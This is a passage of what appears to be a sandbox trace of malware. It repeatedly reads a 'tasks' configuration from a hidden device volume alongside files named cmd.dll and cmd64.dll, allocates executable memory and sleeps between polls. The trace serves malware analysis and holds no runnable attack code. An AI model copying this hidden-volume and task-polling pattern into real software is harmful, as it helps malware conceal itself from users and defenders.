returned 0x390000 [0118.576] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.576] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.576] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.576] KeEnterCriticalRegion () [0118.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.576] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.576] IdePortDispatch () returned 0x103 [0118.577] KeWaitForMutexObject () returned 0x0 [0118.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.577] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.577] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.577] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.577] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.577] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5e10 [0118.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.577] KeLeaveCriticalRegion () [0118.577] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.577] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.577] KeEnterCriticalRegion () [0118.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.577] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.577] KeLeaveCriticalRegion () [0118.577] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.577] KeEnterCriticalRegion () [0118.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.577] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.577] IdePortDispatch () returned 0x103 [0118.577] KeWaitForMutexObject () returned 0x0 [0118.583] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.583] KeLeaveCriticalRegion () [0118.583] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.583] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.583] KeEnterCriticalRegion () [0118.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.583] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003516000 [0118.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.583] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.583] IdePortDispatch () returned 0x103 [0118.583] KeWaitForMutexObject () returned 0x0 [0118.583] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.584] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.584] IdePortDispatch () returned 0x103 [0118.584] KeWaitForMutexObject () returned 0x0 [0118.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.584] KeLeaveCriticalRegion () [0118.584] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.584] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.584] KeEnterCriticalRegion () [0118.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.584] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.584] KeLeaveCriticalRegion () [0118.585] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.585] KeEnterCriticalRegion () [0118.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.585] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.585] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c5ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.585] KeLeaveCriticalRegion () [0118.585] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.585] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.585] KeEnterCriticalRegion () [0118.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.585] ExFreePoolWithTag (P=0xfffffa80039c5e10, Tag=0x0) [0118.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.585] KeLeaveCriticalRegion () [0118.585] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.585] ReleaseMutex (hMutex=0xf0) returned 1 [0118.585] Sleep (dwMilliseconds=0x927c0) [0118.601] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.601] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.601] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.601] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.601] KeEnterCriticalRegion () [0118.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.601] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.601] IdePortDispatch () returned 0x103 [0118.601] KeWaitForMutexObject () returned 0x0 [0118.601] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.601] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.601] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.601] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.601] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.601] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7a00 [0118.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.601] KeLeaveCriticalRegion () [0118.601] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.601] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.601] KeEnterCriticalRegion () [0118.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.601] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.601] KeLeaveCriticalRegion () [0118.602] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.602] KeEnterCriticalRegion () [0118.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.602] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.602] IdePortDispatch () returned 0x103 [0118.602] KeWaitForMutexObject () returned 0x0 [0118.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.602] KeLeaveCriticalRegion () [0118.602] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.602] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.602] KeEnterCriticalRegion () [0118.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.602] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351b000 [0118.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.602] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.602] IdePortDispatch () returned 0x103 [0118.602] KeWaitForMutexObject () returned 0x0 [0118.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.602] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.602] IdePortDispatch () returned 0x103 [0118.603] KeWaitForMutexObject () returned 0x0 [0118.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.603] KeLeaveCriticalRegion () [0118.603] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.603] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.603] KeEnterCriticalRegion () [0118.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.603] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.603] KeLeaveCriticalRegion () [0118.603] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.603] KeEnterCriticalRegion () [0118.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.603] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.603] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ba0070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.603] KeLeaveCriticalRegion () [0118.603] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.604] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.604] KeEnterCriticalRegion () [0118.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.604] ExFreePoolWithTag (P=0xfffffa80039d7a00, Tag=0x0) [0118.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.604] KeLeaveCriticalRegion () [0118.604] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.604] ReleaseMutex (hMutex=0xf0) returned 1 [0118.604] Sleep (dwMilliseconds=0x927c0) [0118.618] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.618] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.618] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.618] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.618] KeEnterCriticalRegion () [0118.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.618] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.618] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.618] IdePortDispatch () returned 0x103 [0118.618] KeWaitForMutexObject () returned 0x0 [0118.618] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.618] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.618] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.618] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.618] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.618] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003adba20 [0118.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.618] KeLeaveCriticalRegion () [0118.618] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.618] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.618] KeEnterCriticalRegion () [0118.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.618] KeLeaveCriticalRegion () [0118.618] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.618] KeEnterCriticalRegion () [0118.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.619] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.619] IdePortDispatch () returned 0x103 [0118.619] KeWaitForMutexObject () returned 0x0 [0118.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.619] KeLeaveCriticalRegion () [0118.619] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.619] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.619] KeEnterCriticalRegion () [0118.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.619] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003520000 [0118.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.619] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.619] IdePortDispatch () returned 0x103 [0118.619] KeWaitForMutexObject () returned 0x0 [0118.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.619] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.619] IdePortDispatch () returned 0x103 [0118.619] KeWaitForMutexObject () returned 0x0 [0118.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.620] KeLeaveCriticalRegion () [0118.620] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.620] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.620] KeEnterCriticalRegion () [0118.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.620] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.620] KeLeaveCriticalRegion () [0118.620] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.620] KeEnterCriticalRegion () [0118.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.620] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.620] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.620] KeLeaveCriticalRegion () [0118.620] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.620] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.620] KeEnterCriticalRegion () [0118.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.621] ExFreePoolWithTag (P=0xfffffa8003adba20, Tag=0x0) [0118.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.621] KeLeaveCriticalRegion () [0118.621] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.621] ReleaseMutex (hMutex=0xf0) returned 1 [0118.621] Sleep (dwMilliseconds=0x927c0) [0118.635] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.635] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.635] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.636] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.636] KeEnterCriticalRegion () [0118.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.636] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.636] IdePortDispatch () returned 0x103 [0118.637] KeWaitForMutexObject () returned 0x0 [0118.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.637] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.637] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.637] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.637] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.637] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd7240 [0118.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.637] KeLeaveCriticalRegion () [0118.637] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.637] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 